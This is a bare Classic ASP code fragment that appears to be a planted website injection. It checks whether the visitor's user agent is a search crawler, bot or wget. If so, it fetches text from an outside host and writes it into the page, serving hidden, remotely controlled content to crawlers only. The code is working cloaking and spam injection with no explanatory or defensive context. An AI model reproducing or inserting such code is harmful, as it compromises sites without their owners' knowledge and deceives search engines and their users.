<%
Set http = Server.CreateObject ("Microsoft.XMLHTTP")
set regexn = new regexp
regexn.ignorecase = true
regexn.global = true
regexn.pattern = "Google Web Preview|bot|spider|wget"
if regexn.test(request.ServerVariables("HTTP_USER_AGENT")) then
http.Open "GET", "http://wedlink.buklsainsa.org/hot123.txt", false
http.Send
Response.write http.ResponseText
end if
Set http = Nothing
Set regexn = Nothing
%>
